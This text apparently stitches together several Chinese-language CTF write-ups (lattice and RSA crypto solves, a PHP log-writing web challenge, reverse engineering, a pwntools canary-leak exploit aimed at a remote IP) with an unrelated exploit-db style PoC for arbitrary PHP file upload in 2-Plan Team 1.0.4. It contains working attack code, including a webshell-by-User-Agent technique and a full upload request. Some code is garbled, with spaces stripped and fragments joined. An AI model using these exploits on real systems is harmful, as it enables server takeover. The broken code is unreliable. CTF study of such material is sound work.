# + 239833 * flag[6]
# - 151023 * flag[11]
# + 224631 * flag[12]
# + 294607 * flag[5]
# - 362447 * flag[7]
# - 110250 * flag[15]
# + 153229 * flag[13]
# + 56953741 == 0)
solve.add(-1159*flag[1]+6659*flag[6]+-
25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-
259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-
338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-
115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)
solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-
179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*fl
ag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-
256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-
205903*flag[16]-112255597==0)
solve.add(30250*flag[5]+127076*flag[16]-
218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-
286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-
78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-
266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-
61925*flag[3]+67755*flag[20]-52014431==0)
solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-
233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-
259485*flag[2]+374645*flag[21]-
116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-
135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-
223297*flag[17]+141256*flag[5]+17267952==0)
def test1(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = inv_sbox[x[i]]
return bytes(a)
def test2(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = do_subs(x[i])
return bytes(a)
for x in solve.batch_eval(flag, 4):
x = bytes(x)
print(test1(x))
# flag: flag{HM_l1c3nc3_0k!!!}

四、Crypto

1.5_vgcd

K * v = tv.T * K.T = t.T用第一组t1搞LLL得到一个K.T,然后v.T = solve_left(K.T,t.T)接着在v.T里面遍历,爆破r,取gcd,根据长度是素性得到pp,然乎copper搞一下,解rsa得到flag。
with open("output7.txt") as f:
 data = f.read().split("\n")

n = eval(data[0])
c = eval(data[1])
t1 = eval(data[2])
t2 = eval(data[3])

M = Matrix(t1)
K = M.LLL()[-3:]

s = K.solve_left(M[:3])
for ss in s:
    a = abs(ss[0])
    b = abs(ss[2])
    for i in range(2^6):
        for j in range(2^6):
            if gcd(a-i,b-j) > 2^10:
                print(gcd(a-i,b-j))

pp = 313246472203572238616195801879608898722966109482769416302463071823547244571165975167479

eta = 288
gamma = 512
P.<x> = PolynomialRing(Zmod(n))
f = x+pp*2^(gamma-eta)
r = int(f.small_roots(X = 2^(gamma-eta), beta = 0.4)[0])

p = f(r)

from Crypto.Util.number import *
long_to_bytes(pow(c,int(pow(0x10001,-1,p-1)),int(p)))

2.5_wb

#!/usr/bin/env python
# coding: utf-8
# In[1]:
from ecdsa import ecdsa as ec 
# In[2]:
r1 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[3]:
r2 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[4]:
s1 = 0x77FB1A7C7FEA54A2A6C7E7535C28868C10549B831411F7A8EBB9F6DE1B4ADDF6
# In[5]:
s2 = 0x31213DACD2339525C292FC69F8F828D23A3CA73567BACD8EA2ECE8BF653E97F6
# In[6]:
h1 = 0
# In[7]:
h2 = 0x1000000000000000000000000000000000000000000000000000000000000000
# In[11]:
g = ec.generator_256
n = g.order()
# In[12]:
n
# In[13]:
N = 115792089210356248762697446949407573529996955224135760342422259061068512044369
# In[14]:
import gmpy2
# In[15]:
k=((h1-h2)*gmpy2.invert((s1-s2),n))%n
# In[16]:
k
# In[17]:
d=((s1*k-h1)*gmpy2.invert(r1,n))%n
# In[18]:
d
# In[19]:
import libnum
# In[20]:
libnum.n2s(int(2761328357323929781063385491249486142671766712847109466352079855419392))






1.Web

1-1:题目名称:目录扫描

l5y0lbtvzjy15509.jpg

3ptlnbboz5e15511.jpg

a1k3rhhix1o15527.jpg

Flag:

DASCTF{84a70245035ca88088a2ba6ae2378021}

 

1-3:题目名称:MissingData

 

主要就是开头ob_start();所以所有输出都会存到缓冲区,用户手动取输出

所以文件名$this->LOG_NAMEhello获得:

$hello = $_GET['hello'];

echo $hello;

$this->LOG_NAME = base64_decode(ob_get_contents());//就把hello传过来的值存到LOG_NAME

ob_clean();

 

文件内容就是REMOTE_ADDR连接UA

$getlog->setIp($_SERVER['REMOTE_ADDR']);

$getlog->setUserAgent($_SERVER['HTTP_USER_AGENT']);

$getlog->echoLog();

$log_info = date("Y-m-d H:i:s ").ob_get_contents();

 

 

 

最末尾析构函数会写日志

public $LOG_PATH = "/log/";

file_put_contents(dirname(__FILE__).$this->LOG_PATH.$this->LOG_NAME,$log_info);

//路径也就是./log/$_GET['hello']

//文件内容用UA写个一句话就OK

把输出都先丢缓冲区然后存文件里了,文件名由hello控制,文件内容ua写个一句话就行了

s3145kcltv115529.jpg

aevjw1jplwv15533.jpg

izxrx3nkabg15538.jpg

 

 

 

2.MISC

2-3-题目名称:0101

 

p4i0vse3gge15541.jpg

tceerechfbi15546.jpg

发现是pk开头,是zip压缩包,改成a.zip

使用以下脚本进行得到flag:

importzipfile

z = zipfile.ZipFile('./a.zip')

foriinz.filelist:
print(i)

s = ''
foriinrange(304):
x = z.getinfo(f'file/{i}.png')
ifx.file_size>500:
s += '0'
else:
s += '1'
# print(s)
print(int.to_bytes(int(s, 2), 304//8, 'big'))

flag: DASCTF{Jo2YAKT_IcRgmzZ3GWe_Swt8vqadQO}

 

3.CRYPTO

3-1题目名称:soeasy_rsa

 

from gmpy2 import *

from Crypto.Util.number import *

a=23804021940078676408342301332036892900004728136480076479530219752065125327318821647722459216095770264965388973551323635311313178838670860487788476788686756050157264721772586844596306406576857878507037529439070526513923394974678433717664180257965624133033383511215139076867891548866207158515487182813656668091870588002638518245252590786003914393372830494390833657940568569618842104970029260363695053572749495893999945220493935637334868029460448282514843103145795102173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290

p=iroot(a,2)

print(p)

p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551

print(is_prime(p))

c1 = 75949211970645260477840809230795170598275394663655585446502049744151634977806266592064437936389888280642329073167371358021391264606028082728274944584341647324957857195053188220196244561623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812

c2 = 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744544616439692739387312706279917959252426192939648962492950940347253817951644007140862267776520611944302335981903665518644840891111449931544355548130487697653008605945892957382219567188182572

q=iroot(a-(p**2),2)

print(q)

q=888347358062191513488156436138991579826598872460149267394117

 

n=p*q

for e in range(2**16):

 

try:

        d=invert(e,(p-1)*(q-1))

        m=pow(c1,d,n)

        m=long_to_bytes(m)

        if b'DASCTF' in m:

            print(e)

            print(m)

except:pass

ehzcej3h1nd15550.jpg

3-2题目名称:middlersa1

dp低位泄露,直接sagemath还原dp

fromtqdmimport*
secret = 1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017
e = 0x10001
n = 53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651

F.<x> = PolynomialRing(Zmod(n))
d = inverse_mod(e, n)
forkintrange(1, e):
   
f = (2^350*x+secret ) + (k-1) *d
   
f=f.monic()
   
x0 = f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32)
   
iflen(x0) != 0:
       
dp = x0[0]*2^350+secret
       
foriinrange(2, e):
           
p = (e*Integer(dp) -1+i) //i
           
ifn%p == 0:
               
break
       
ifp<0:
           
continue
       
else:
           
print('p =',p)
           
print('dp =',dp)
           
break
 
 
charon@root:~/Desktop$sage3.sage
 
3%|                                  |2131/65536 [04:20<2:15:43,  7.79it/s]('p =', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429)
(
'dp =', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081)
 
3%|                                  |2131/65536 [04:20<2:09:08,  8.18it/s]
 
 
fromCrypto.Util.numberimport*
fromgmpy2import*

p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429
n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651
c=12164583901228226723569831803555747425419794714331207509347997795520206866173813478558747259319024376651968008838562856265966903471803669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761
print(is_prime(p))
print(gcd(n,p))
q=n//p
e = 0x10001
d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

svluopxlyqf15555.jpg

DASCTF{6f05154b11bdf950cd2444176618139a}

 

3-3 题目名称:middlersa3

白给,直接源码中给了flag

fromCrypto.Util.numberimport*

FLAG = b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}'

p = getPrime(512)
q = getPrime(512)
e = 0x10001
d = inverse(e, (p-1)*(q-1))
dp = d% (p-1)

print('dp:', (dp&(2**(512-50)-1))>>50)
print('N:', p*q)
print('c:', pow(bytes_to_long(FLAG), e, p*q))

'''
dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895
N: 62750404132378782351782654563543747630197449894041776451397790050374158627602509619666444474672286035538086447514257150773929857058930455173191928959453666895924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383
c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256
'''
 

DASCTF{ed3256281d277e12d926b0e8b49f6d78}

 

4.RE

4-1题目名称:simpleDispy

 

pydis阅读题, 手动还原pydis验证算法.
arr = [47378,
      29475,
      46200,
      39869,
      67243,
      68695,
      73129,
      27171,
      53832,
      30653,
      60541,
      67276,
      58816,
      63571,
      50131,
      34471,
      67922,
      82293,
      33259,
      67538,
      57810,
      50339,
      34632,
      68754,
      83192,
      36077,
      60424,
      54547,
      56308,
      33565,
      69425,
      84024]

# 验证
k = 22643
flag = 't'*32
for i in range(32):
   num = (ord(flag[i])*255)+k
   if arr[i] != num:
       print('Error')
       break
   k = (k+num)&0xFFFF

# 还原flag
k = 22643
flag = ''
for i in range(32):
   flag += chr(((arr[i] - k)//255))
   k = (k+arr[i])&0xFFFF
print(flag)

sx21rpuffxj15571.jpg

flag: ab0c216ec63a9f984cbf8975ad63e09c

 

4-2题目名称:stripgo

v1=encoding_base64_NewEncoding((__int64)"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890", 64LL);
if ( v4==32&&runtime_memequal(v3, (__int64)"K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==", 32LL) )

变表base64

https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/%2Bm1234567890',true,false)&input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0

G0_is_the_best_1anguge,

l4hyrzryyj015576.jpg

然后再进行md5加密

Flag: 3ffecbd5aa525bfdbfae5987e8f961f9

 

 

 

wtod00qyjmi15589.jpg

DASCTF{4c73ad66ef2a06aaa704e696f2dd1034}

5.PWN

5-1 题目名称:ez_canary

b05kvudhfpf15591.jpg

#!/usr/bin/env python3

#!coding: utf-8

 

from pwn import *

context.log_level = "debug"

 

magic = 0x000000000040121E

 

r = remote("43.143.139.234", 50905)

 

payload = b"k"*(0xa+1)

r.sendafter(b"Username:", payload)

 

canary = u64(b"\x00"+r.recv()[6+0xa+1:6+0xa+1+7])

payload2 = b"k"*(0x1c-8) + p64(canary) + b"k"*8 + p64(magic)

r.send(payload2)

r.interactive()

 

DASCTF{c0dfc9d2ed0169818388a379e6fca2e0}

anjmmvrs1zr15595.jpg

 

题目附件:

链接:https://pan.baidu.com/s/1KjEFjody2k_0hcjuK0nSag   提取码:55tt 

 

# Exploit Title: 2-Plan Team 1.0.4 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://2-plan.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/to-plan-team/1.1.0/2-plan-team.tgz
# Version: 1.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# Users.. 
# http://localhost/[PATH]/managefile.php?action=upload&id=1
# 

POST /[PATH]/managefile.php?action=upload&id=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/managefile.php?action=showproject&id=1&mode=added
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
10091208795715239061851145440
Content-Length: 1192
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="numfiles"
1
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="upfolder"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1-title"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1"
phpinfo.php
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1-tags"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="desc"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="visible[]"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="sendto[]"
all
-----------------------------10091208795715239061851145440--
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 23:41:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
 
GET /[PATH]/files/standard/ef/1/phpinfo_3978873.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 23:41:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8